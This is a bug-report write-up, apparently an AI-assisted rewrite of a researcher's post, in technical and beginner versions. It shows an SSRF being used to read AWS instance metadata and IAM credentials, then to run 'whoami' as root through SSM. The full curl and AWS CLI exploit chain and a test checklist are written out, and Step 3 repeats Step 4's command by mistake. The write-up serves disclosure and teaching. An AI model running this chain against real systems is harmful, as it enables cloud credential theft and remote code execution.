Skip to content
SSRF Write-up Intermediate

Retrieving AWS metadata and use it for RCE

A server-side request forgery flaw let an attacker reach the EC2 instance metadata service and read temporary IAM credentials. Those credentials were accepted by AWS Systems Manager, allowing commands to run on the instance as root.

Sander Wind Follow

Published on sanderwind.medium.com

When researching a web application, I stumbled upon an endpoint which allowed me to perform SSRF. I’ll use the endpoint http://example.com/fetch?url=[path] as example.

Sander Wind, on sanderwind.medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

While researching a web application, I came across an endpoint that let me perform server-side request forgery (SSRF). The endpoint takes a URL and fetches it on the server's behalf. In the write-up I use http://example.com/fetch?url=[path] as the example endpoint, where the url parameter is the address the server will request.

Because the server performs the request from inside its own network, the url parameter can be pointed at addresses the outside world cannot reach. The most interesting of those on AWS is the EC2 instance metadata service at [redacted]. The goal of this research was to see how far that SSRF could be pushed: first to read the instance metadata, then to obtain the instance's IAM security credentials, and finally to use those credentials to run commands on an instance, turning the SSRF into remote code execution.

From the original on sanderwind.medium.com

Setup

The only precondition is the SSRF itself: a parameter that makes the server fetch an attacker-supplied URL. Everything after that is done from the researcher's own machine with the AWS CLI, using the credentials recovered through the SSRF. The commands below use the region and credential values retrieved from the metadata service, so the order of the steps matters.

Finding it

The endpoint accepted a URL in the url parameter, and pointing it at the metadata service returned the metadata directory listing. Pointing it at the metadata service returned the metadata directory listing, which confirmed that the server could reach [redacted] and that the response was passed back to the caller. That is the SSRF: the server makes the request, and the attacker reads the result.

Exploitation

Step 1: List the metadata root

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/meta-data/
ami-idami-launch-indexami-manifest-pathblock-device-mapping/events/hostnameiam/instance-actioninstance-idinstance-typelocal-hostnamelocal-ipv4macmetrics/network/placement/profilepublic-hostnamepublic-ipv4public-keys/reservation-idsecurity-groupsservices/

The response lists the directory contents of the Amazon metadata service. The iam/ entry is the one that matters later, because the IAM credentials live under it.

Step 2: Read the instance identity document

Before using the AWS CLI, the region has to be known, because the CLI commands are region-specific. The instance identity document provides it.

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/dynamic/instance-identity/document
{  "accountId" : "19xxxxxxxxxx",  "architecture" : "x86_64",  "availabilityZone" : "eu-west-1c",  "billingProducts" : null,  "devpayProductCodes" : null,  "marketplaceProductCodes" : null,  "imageId" : "ami-xxxxxxxxxxxxxxxxx",  "instanceId" : "i-xxxxxxxxxxxxxxxxx",  "instanceType" : "r0x.large",  "kernelId" : null,  "pendingTime" : "2021-01-01T13:37:00Z",  "privateIp" : "[redacted]",  "ramdiskId" : null,  "region" : "eu-west-1",  "version" : "2020-01-01"}

The value to keep is "region": "eu-west-1". It is used for every AWS CLI command that follows.

Step 3: Check for security credentials

Requesting the security-credentials path returns a list of credential names. In this case the list contains webserver.

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/meta-data/iam/security-credentials/webserver

Step 4: Read the credentials

Appending the credential name to the path returns the credentials themselves.

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/meta-data/iam/security-credentials/webserver
{  "Code" : "Success",  "LastUpdated" : "2021-02-05T13:37:00Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",  "SecretAccessKey" : "XxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxx",  "Token" : "A-secret-base64-encoded-token",  "Expiration" : "2021-02-06T13:37:00Z"}

These are temporary credentials: an access key ID, a secret access key, a session token and an expiration time. They are the pivot from SSRF to AWS API access.

Step 5: Export the credentials

Bash
$ export AWS_ACCESS_KEY_ID="[AccessKeyId]"$ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]"$ export AWS_DEFAULT_REGION="[region]"$ export AWS_SESSION_TOKEN="[Token]"

The values come from the previous response, and the region is the eu-west-1 value from the identity document. The session token is required because these are temporary credentials.

Step 6: Confirm the identity

Bash
$ aws sts get-caller-identity
{    "UserId": "AROAxxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",    "Account": "19xxxxxxxxxx",    "Arn": "arn:aws:sts::19xxxxxxxxxx:assumed-role/webserver/i-xxxxxxxxxxxxxxxxx"}

The Account value matches the accountId from the identity document, and the part after the : in UserId matches the instanceId from the identity document.

Step 7: Find instances that accept the credentials

To get code execution, the next question is which instances the credential is accepted for when sending commands. AWS Systems Manager (SSM) answers that.

Bash
$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
[redacted]       example-1234567890.eu-west-1.elb.amazonaws.com [redacted]    i-xxxxxxxxxxxxxxxxx     False   2021-02-05T13:37:00.000000+01:00        Online  Amazon Linux AMI        Linux   2020.01 EC2Instance

This returns a list of instances that can be sent commands. The instance ID (i-xxxxxxxxxxxxxxxxx) is the value needed for the next step.

Step 8: Send a command

Before running anything, the researcher warns to use a safe command such as whoami or uname, so that no service is disturbed and the instance is not killed.

Bash
$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'
{    "Command": {        "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",        "DocumentName": "AWS-RunShellScript",        "DocumentVersion": "",        "Comment": "RCE test: whoami",        "ExpiresAfter": "2021-02-05T13:37:00.000000+01:00",        "Parameters": {            "commands": [                "whoami"            ]        },        "InstanceIds": [],        "Targets": [            {                "Key": "instanceids",                "Values": [                    "i-xxxxxxxxxxxxxxxxx"                ]            }        ],        "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",        "Status": "Pending",        "StatusDetails": "Pending",        "OutputS3BucketName": "",        "OutputS3KeyPrefix": "",        "MaxConcurrency": "50",        "MaxErrors": "0",        "TargetCount": 0,        "CompletedCount": 0,        "ErrorCount": 0,        "DeliveryTimedOutCount": 0,        "ServiceRole": "",        "NotificationConfig": {            "NotificationArn": "",            "NotificationEvents": [],            "NotificationType": ""        },        "CloudWatchOutputConfig": {            "CloudWatchLogGroupName": "",            "CloudWatchOutputEnabled": false        },        "TimeoutSeconds": 3600    }}

The command uses the AWS-RunShellScript document, targets the instance by its ID, and passes whoami as the command. The response is Pending and includes a CommandId, which is needed to retrieve the output.

Step 9: Read the command output

Bash
$ aws ssm list-command-invocations --command-id "[CommandId]" --details
{    "CommandInvocations": [        {            "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",            "InstanceId": "i-xxxxxxxxxxxxxxxxx",            "InstanceName": "",            "Comment": "RCE test: whoami",            "DocumentName": "AWS-RunShellScript",            "DocumentVersion": "",            "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",            "Status": "Success",            "StatusDetails": "Success",            "StandardOutputUrl": "",            "StandardErrorUrl": "",            "CommandPlugins": [                {                    "Name": "aws:runShellScript",                    "Status": "Success",                    "StatusDetails": "Success",                    "ResponseCode": 0,                    "ResponseStartDateTime": "2021-02-05T13:37:00.000000+01:00",                    "ResponseFinishDateTime": "2021-02-05T13:37:00.000000+01:00",                    "Output": "root\n",                    "StandardOutputUrl": "",                    "StandardErrorUrl": "",                    "OutputS3Region": "eu-west-1",                    "OutputS3BucketName": "",                    "OutputS3KeyPrefix": ""                }            ],            "ServiceRole": "",            "NotificationConfig": {                "NotificationArn": "",                "NotificationEvents": [],                "NotificationType": ""            },            "CloudWatchOutputConfig": {                "CloudWatchLogGroupName": "",                "CloudWatchOutputEnabled": false            }        }
    ]}

If the command has not finished yet, the Status is pending. Once it has executed successfully, the output appears in CommandInvocations.CommandPlugins.Output. Here it is root, so the command ran as root on the instance.

Root cause

The SSRF is the entry point: the fetch endpoint lets the caller choose any URL, including the link-local metadata address, and returns the response. The instance has an IAM role attached whose credentials are exposed at the security-credentials path. With those credentials, SSM accepted commands sent to an instance, which is what turns a read-only metadata leak into code execution. The report does not describe the application code or any specific defence that was in place.

Impact

An attacker who can reach the fetch endpoint can read the instance metadata, including the IAM credentials of the attached role. With those credentials, the attacker can enumerate instances through SSM and run shell commands on them, as demonstrated by whoami returning root. The impact is therefore not limited to the vulnerable host: instances listed by SSM can be targeted. The credentials are temporary and expire, as shown by the Expiration field, so the window is bounded by that lifetime.

Fix

The report does not describe a fix. The measures that would address the chain are to stop the SSRF at the fetch endpoint (for example by restricting which destinations the server may request, so that link-local and internal addresses are refused), and to reduce the permissions of the instance role so that it cannot be used to send SSM commands to other instances.

Variants to test

  1. Request http://[redacted]/latest/meta-data/ through any URL-fetching parameter. A positive result is a directory listing of the metadata service.
  2. Request http://[redacted]/latest/dynamic/instance-identity/document. A positive result is a JSON document containing region, accountId and instanceId.
  3. Request http://[redacted]/latest/meta-data/iam/security-credentials/. A positive result is one or more role names; appending a name returns credentials with AccessKeyId, SecretAccessKey and Token.
  4. With recovered credentials, run aws sts get-caller-identity. A positive result is an ARN for the role, confirming the credentials are live.
  5. Run aws ssm describe-instance-information. A positive result is a list of online instances, which shows the credential can be used to send commands.
  6. Send a safe command such as whoami with aws ssm send-command and read it back with aws ssm list-command-invocations --details. A positive result is Status: Success and the command output in CommandPlugins.Output.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

A website had a feature that let it fetch a web address for you. You gave it a link, and the website's own computer went and downloaded that link and showed you the result. That kind of feature is common: think of a site that shows a preview of a link you paste, or a tool that checks whether another site is online. The website is doing the fetching on your behalf.

The problem is that the website's computer sits inside a private network, and it can reach addresses that you, sitting at home, cannot. One of those addresses is a special one used by Amazon's cloud service, AWS. It is called the metadata service, and it lives at [redacted]. Every virtual machine (an "instance") running on AWS can ask that address questions about itself: what is my ID, what region am I in, and, most importantly, what login credentials have I been given?

Because the fetch feature would happily fetch any address you gave it, including that internal one, the researcher could ask the website to go and read the machine's own secrets and hand them back. That is the vulnerability: the server makes a request to a destination the attacker chose. The technical name is server-side request forgery, or SSRF.

Once the researcher had the credentials, the story did not stop at reading. Those credentials belonged to a role, which is AWS's word for a set of permissions. The credentials could be used with a service called Systems Manager (SSM), which can send commands to machines. So the researcher used the stolen credentials to tell a machine to run a command, and the machine ran it as root, the most powerful user on a Linux system. Reading a secret turned into running code on a server. That is remote code execution, or RCE.

From the original on sanderwind.medium.com

The pieces you need to know before we start

Before walking through the steps, here are the ideas that come up, explained from scratch.

  • A URL is a web address, like http://example.com/page. The part after the ? is called the query string, and it carries values in the form name=value. In http://example.com/fetch?url=http://other.com, the parameter is named url and its value is http://other.com.
  • An endpoint is one specific address on a website that does one specific job. http://example.com/fetch is an endpoint whose job is to fetch something.
  • An API is a way for one program to talk to another. Instead of a page designed for a human to look at, an API gives you raw data, often in a format called JSON, which looks like {"name": "value"}. AWS is controlled almost entirely through APIs.
  • A server is the computer that runs a website. When you visit a site, your browser asks the server for a page, and the server sends it back.
  • SSRF (server-side request forgery) means tricking a server into making a request you choose. The server has network access you do not, so you use it as a proxy. A comparison: you cannot get into a building, but there is a receptionist who will fetch anything from inside for you. You ask the receptionist to bring you the contents of the safe.
  • The metadata service is a small web server that every AWS instance can reach at [redacted]. It answers questions about the instance. It is only reachable from inside AWS, which is exactly why the SSRF matters.
  • An instance is a virtual machine rented from AWS. It is a computer that exists in a data centre rather than on your desk.
  • A region is the geographic area where AWS runs your machines, for example eu-west-1. AWS commands need to know which region to talk to.
  • IAM (Identity and Access Management) is AWS's system for users, roles and permissions. An IAM role is a set of permissions that a machine can be given, so that software on the machine can call AWS without a human typing a password.
  • Credentials are the username-and-password equivalent for programs. AWS uses an access key ID (a bit like a username), a secret access key (a bit like a password), and often a session token (an extra proof that goes with temporary credentials).
  • The AWS CLI is a program you install on your own computer that lets you type AWS commands in a terminal instead of clicking in a web console.
  • A terminal is a text window where you type commands. Lines starting with $ in this article are commands typed into a terminal; the $ itself is just the prompt and is not typed.
  • SSM (Systems Manager) is an AWS service for managing machines at scale. One of its features can run a shell command on a machine and give you back the output.
  • RCE (remote code execution) means getting a machine to run code of your choosing from a distance. It is usually the most serious kind of web vulnerability, because the attacker is no longer limited to reading data.

The setup

The only thing needed to start is the SSRF itself: a parameter that makes the server fetch a URL you supply. Everything after that is done from the researcher's own computer with the AWS CLI, using the credentials recovered through the SSRF. The order of the steps matters, because later commands need values found in earlier responses.

Finding it

The endpoint accepted a URL in the url parameter, and pointing it at the metadata service returned the metadata directory listing. Pointing it at the metadata service returned the metadata directory listing. That confirmed two things: the server could reach [redacted], and the response was passed back to whoever called the endpoint. That is the SSRF in its simplest form: the server makes the request, and the attacker reads the result.

Exploitation

Step 1: List the metadata root

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/meta-data/
ami-idami-launch-indexami-manifest-pathblock-device-mapping/events/hostnameiam/instance-actioninstance-idinstance-typelocal-hostnamelocal-ipv4macmetrics/network/placement/profilepublic-hostnamepublic-ipv4public-keys/reservation-idsecurity-groupsservices/

Line by line:

  1. curl is a command-line tool for making web requests. It is the browser of the terminal.
  2. http://example.com/fetch?url= is the vulnerable endpoint. The url parameter is where the attacker puts the address they want the server to fetch.
  3. http://[redacted]/latest/meta-data/ is the address the server is asked to fetch. It is the root of the metadata service.
  4. The output is the list of entries the metadata service offers. They are printed without line breaks, which is why they run together.

The response lists the directory contents of the Amazon metadata service. Most entries are uninteresting for now. The one that matters later is iam/, because the IAM credentials live under it. This step is taken first because it proves the SSRF works and shows what is available to read.

Step 2: Read the instance identity document

Before using the AWS CLI, the region has to be known, because CLI commands are region-specific. The instance identity document provides it.

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/dynamic/instance-identity/document
{  "accountId" : "19xxxxxxxxxx",  "architecture" : "x86_64",  "availabilityZone" : "eu-west-1c",  "billingProducts" : null,  "devpayProductCodes" : null,  "marketplaceProductCodes" : null,  "imageId" : "ami-xxxxxxxxxxxxxxxxx",  "instanceId" : "i-xxxxxxxxxxxxxxxxx",  "instanceType" : "r0x.large",  "kernelId" : null,  "pendingTime" : "2021-01-01T13:37:00Z",  "privateIp" : "[redacted]",  "ramdiskId" : null,  "region" : "eu-west-1",  "version" : "2020-01-01"}

Line by line:

  1. The same curl request is made, but the path after [redacted] is now /latest/dynamic/instance-identity/document.
  2. The server fetches that path and returns a JSON document describing the instance.
  3. accountId is the AWS account the instance belongs to.
  4. availabilityZone and region say where the machine physically runs. Here the region is eu-west-1.
  5. instanceId is the unique name of this machine, starting with i-.
  6. privateIp is the machine's address inside the private network.

The value to keep is "region": "eu-west-1". It is used for every AWS CLI command that follows, because AWS needs to know which regional endpoint to talk to. This step is taken before touching the CLI so that the CLI is pointed at the right place from the start.

Step 3: Check for security credentials

Requesting the security-credentials path returns a list of credential names. In this case the list contains webserver.

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/meta-data/iam/security-credentials/webserver

Line by line:

  1. The path now goes into the iam/security-credentials/ folder seen in step 1.
  2. The trailing webserver is the name of the role whose credentials are being requested.

Step 4: Read the credentials

Appending the credential name to the path returns the credentials themselves.

Bash
$ curl http://example.com/fetch?url=http://[redacted]/latest/meta-data/iam/security-credentials/webserver
{  "Code" : "Success",  "LastUpdated" : "2021-02-05T13:37:00Z",  "Type" : "AWS-HMAC",  "AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",  "SecretAccessKey" : "XxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxxXxxx",  "Token" : "A-secret-base64-encoded-token",  "Expiration" : "2021-02-06T13:37:00Z"}

Line by line:

  1. Code: Success means the metadata service handed over the credentials without complaint.
  2. LastUpdated and Expiration are timestamps. The credentials stop working at the expiration time, which here is the day after they were issued.
  3. Type: AWS-HMAC describes the signing method AWS uses for these keys.
  4. AccessKeyId is the public half of the credential, like a username.
  5. SecretAccessKey is the private half, like a password. It must never be shared.
  6. Token is the session token that must accompany temporary credentials.

These are temporary credentials: an access key ID, a secret access key, a session token and an expiration time. They are the pivot from SSRF to AWS API access. Up to this point the attacker could only read; from here they can act.

Step 5: Export the credentials

Bash
$ export AWS_ACCESS_KEY_ID="[AccessKeyId]"$ export AWS_SECRET_ACCESS_KEY="[SecretAccessKey]"$ export AWS_DEFAULT_REGION="[region]"$ export AWS_SESSION_TOKEN="[Token]"

Line by line:

  1. export sets an environment variable, which is a named value that programs running in the same terminal can read.
  2. AWS_ACCESS_KEY_ID is the variable the AWS CLI looks in for the access key ID. The placeholder [AccessKeyId] is replaced with the value from step 4.
  3. AWS_SECRET_ACCESS_KEY holds the secret access key.
  4. AWS_DEFAULT_REGION holds the region, here eu-west-1 from the identity document.
  5. AWS_SESSION_TOKEN holds the session token. It is required because these are temporary credentials; without it, AWS rejects the request.

This step is taken so that every later aws command automatically uses the stolen identity, without repeating the keys on each line.

Step 6: Confirm the identity

Bash
$ aws sts get-caller-identity
{    "UserId": "AROAxxxxxxxxxxxxxxxxx:i-xxxxxxxxxxxxxxxxx",    "Account": "19xxxxxxxxxx",    "Arn": "arn:aws:sts::19xxxxxxxxxx:assumed-role/webserver/i-xxxxxxxxxxxxxxxxx"}

Line by line:

  1. aws runs the AWS CLI.
  2. sts is the AWS service that answers questions about identity.
  3. get-caller-identity asks: who am I, according to AWS?
  4. UserId identifies the role session. The part after the : is the instance ID.
  5. Account is the AWS account number.
  6. Arn is the full name of the identity.

The Account value matches the accountId from the identity document, and the part after the : in UserId matches the instanceId from the identity document. This step is taken to prove the credentials are live and to see exactly what they represent before using them for anything else.

Step 7: Find instances that accept the credentials

To get code execution, the next question is which instances the credential is accepted for when sending commands. AWS Systems Manager (SSM) answers that.

Bash
$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
[redacted]       example-1234567890.eu-west-1.elb.amazonaws.com [redacted]    i-xxxxxxxxxxxxxxxxx     False   2021-02-05T13:37:00.000000+01:00        Online  Amazon Linux AMI        Linux   2020.01 EC2Instance

Line by line:

  1. aws ssm selects the Systems Manager service.
  2. describe-instance-information asks SSM which machines it knows about and can manage.
  3. --output text asks for plain text instead of JSON, which is easier to read in a terminal.
  4. --query "InstanceInformationList[*]" picks just the list of instances from the response.
  5. The output row contains, among other fields, the instance ID i-xxxxxxxxxxxxxxxxx and the word Online.

This returns a list of instances that can be sent commands. The instance ID is the value needed for the next step. This step is taken because having credentials is not the same as knowing what they unlock; SSM tells you which machines will accept orders from this identity.

Step 8: Send a command

Before running anything, the researcher warns to use a safe command such as whoami or uname, so that no service is disturbed and the instance is not killed. whoami simply prints the name of the user the command runs as. uname prints basic system information. Neither changes anything.

Bash
$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'
{    "Command": {        "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",        "DocumentName": "AWS-RunShellScript",        "DocumentVersion": "",        "Comment": "RCE test: whoami",        "ExpiresAfter": "2021-02-05T13:37:00.000000+01:00",        "Parameters": {            "commands": [                "whoami"            ]        },        "InstanceIds": [],        "Targets": [            {                "Key": "instanceids",                "Values": [                    "i-xxxxxxxxxxxxxxxxx"                ]            }        ],        "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",        "Status": "Pending",        "StatusDetails": "Pending",        "OutputS3BucketName": "",        "OutputS3KeyPrefix": "",        "MaxConcurrency": "50",        "MaxErrors": "0",        "TargetCount": 0,        "CompletedCount": 0,        "ErrorCount": 0,        "DeliveryTimedOutCount": 0,        "ServiceRole": "",        "NotificationConfig": {            "NotificationArn": "",            "NotificationEvents": [],            "NotificationType": ""        },        "CloudWatchOutputConfig": {            "CloudWatchLogGroupName": "",            "CloudWatchOutputEnabled": false        },        "TimeoutSeconds": 3600    }}

Line by line:

  1. aws ssm send-command is the SSM feature that runs a command on a machine.
  2. --document-name "AWS-RunShellScript" selects a built-in recipe that says: run these lines in a shell.
  3. --comment "RCE test: whoami" is a label for the run, so it can be recognised later.
  4. --targets "Key=instanceids,Values=[instanceid]" says which machine to run on, by instance ID.
  5. --parameters 'commands=whoami' is the actual command to run.
  6. In the response, CommandId is the ticket number for this run. It is needed to collect the result.
  7. Status: Pending means the command has been accepted but has not finished yet.

This step is taken to prove code execution. The command uses the AWS-RunShellScript document, targets the instance by its ID, and passes whoami as the command. The response is Pending and includes a CommandId, which is needed to retrieve the output.

Step 9: Read the command output

Bash
$ aws ssm list-command-invocations --command-id "[CommandId]" --details
{    "CommandInvocations": [        {            "CommandId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",            "InstanceId": "i-xxxxxxxxxxxxxxxxx",            "InstanceName": "",            "Comment": "RCE test: whoami",            "DocumentName": "AWS-RunShellScript",            "DocumentVersion": "",            "RequestedDateTime": "2021-02-05T13:37:00.000000+01:00",            "Status": "Success",            "StatusDetails": "Success",            "StandardOutputUrl": "",            "StandardErrorUrl": "",            "CommandPlugins": [                {                    "Name": "aws:runShellScript",                    "Status": "Success",                    "StatusDetails": "Success",                    "ResponseCode": 0,                    "ResponseStartDateTime": "2021-02-05T13:37:00.000000+01:00",                    "ResponseFinishDateTime": "2021-02-05T13:37:00.000000+01:00",                    "Output": "root\n",                    "StandardOutputUrl": "",                    "StandardErrorUrl": "",                    "OutputS3Region": "eu-west-1",                    "OutputS3BucketName": "",                    "OutputS3KeyPrefix": ""                }            ],            "ServiceRole": "",            "NotificationConfig": {                "NotificationArn": "",                "NotificationEvents": [],                "NotificationType": ""            },            "CloudWatchOutputConfig": {                "CloudWatchLogGroupName": "",                "CloudWatchOutputEnabled": false            }        }    ]}

Line by line:

  1. aws ssm list-command-invocations asks SSM for the results of a previous command run.
  2. --command-id "[CommandId]" selects the run by the ticket number returned in step 8.
  3. --details asks for the full record, including the output.
  4. Status: Success at the top level means the run finished without error.
  5. CommandPlugins is the list of steps that actually ran on the machine. Here there is one, aws:runShellScript.
  6. ResponseCode: 0 is the shell's way of saying the command exited cleanly.
  7. Output: "root\n" is the text the command printed. The \n is a newline.

If the command has not finished yet, the Status is pending. Once it has executed successfully, the output appears in CommandInvocations.CommandPlugins.Output. Here it is root, so the command ran as root on the instance. This step is taken because sending a command only proves it was accepted; reading the output proves it actually ran and shows who it ran as.

Root cause

The SSRF is the entry point: the fetch endpoint lets the caller choose any URL, including the link-local metadata address, and returns the response. The instance has an IAM role attached whose credentials are exposed at the security-credentials path. With those credentials, SSM accepted commands sent to an instance, which is what turns a read-only metadata leak into code execution. The report does not describe the application code or any specific defence that was in place.

In everyday terms: the front door let anyone ask the receptionist to fetch anything, the safe was unlocked inside the building, and the key in the safe also opened the control room.

Impact

An attacker who can reach the fetch endpoint can read the instance metadata, including the IAM credentials of the attached role. With those credentials, the attacker can enumerate instances through SSM and run shell commands on them, as demonstrated by whoami returning root. The impact is therefore not limited to the vulnerable host: instances listed by SSM can be targeted. The credentials are temporary and expire, as shown by the Expiration field, so the window is bounded by that lifetime.

Fix

The report does not describe a fix. The measures that would address the chain are to stop the SSRF at the fetch endpoint (for example by restricting which destinations the server may request, so that link-local and internal addresses are refused), and to reduce the permissions of the instance role so that it cannot be used to send SSM commands to other instances.

Variants to test

If you want to check for this pattern yourself, these are the same checks in order. Each one tells you whether to continue to the next.

  1. Request http://[redacted]/latest/meta-data/ through any URL-fetching parameter. A positive result is a directory listing of the metadata service.
  2. Request http://[redacted]/latest/dynamic/instance-identity/document. A positive result is a JSON document containing region, accountId and instanceId.
  3. Request http://[redacted]/latest/meta-data/iam/security-credentials/. A positive result is one or more role names; appending a name returns credentials with AccessKeyId, SecretAccessKey and Token.
  4. With recovered credentials, run aws sts get-caller-identity. A positive result is an ARN for the role, confirming the credentials are live.
  5. Run aws ssm describe-instance-information. A positive result is a list of online instances, which shows the credential can be used to send commands.
  6. Send a safe command such as whoami with aws ssm send-command and read it back with aws ssm list-command-invocations --details. A positive result is Status: Success and the command output in CommandPlugins.Output.

Glossary

  • API: a way for one program to talk to another, usually exchanging structured data rather than web pages.
  • ARN: Amazon Resource Name, the full unique name of an AWS resource or identity.
  • AWS: Amazon Web Services, Amazon's cloud platform.
  • AWS CLI: a command-line program for controlling AWS from a terminal.
  • CommandId: the identifier AWS gives to a command run, used to look up its result.
  • Credentials: the keys a program uses to prove its identity to AWS, made of an access key ID, a secret access key and often a session token.
  • curl: a command-line tool for making web requests.
  • EC2: the AWS service that provides virtual machines, called instances.
  • Endpoint: one specific address on a server that performs one specific job.
  • Environment variable: a named value stored in a terminal session that programs can read.
  • IAM: Identity and Access Management, AWS's system for users, roles and permissions.
  • Instance: a virtual machine running in a cloud data centre.
  • Instance metadata service: a small web server at [redacted] that answers questions about the instance it runs on.
  • JSON: a text format for structured data, written with curly braces, names and values.
  • Link-local address: an address such as [redacted] that is only reachable from the local network, not from the internet.
  • Metadata: data about data; here, information a machine holds about itself.
  • Parameter: a named value in a URL's query string, such as url=....
  • RCE: remote code execution, getting a remote machine to run code of your choosing.
  • Region: the geographic area where AWS runs resources, for example eu-west-1.
  • Role: an AWS identity with a set of permissions that a machine or service can assume.
  • root: the most powerful user account on a Linux system.
  • Session token: an extra value that must accompany temporary AWS credentials.
  • Shell: a program that runs typed commands on a computer.
  • SSM: AWS Systems Manager, a service for managing machines, including running commands on them.
  • SSRF: server-side request forgery, tricking a server into making a request to a destination the attacker chooses.
  • STS: AWS Security Token Service, which answers questions about the identity behind credentials.
  • Terminal: a text window where commands are typed.
  • URL: a web address.
  • whoami: a shell command that prints the name of the current user.

More by Sander Wind

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.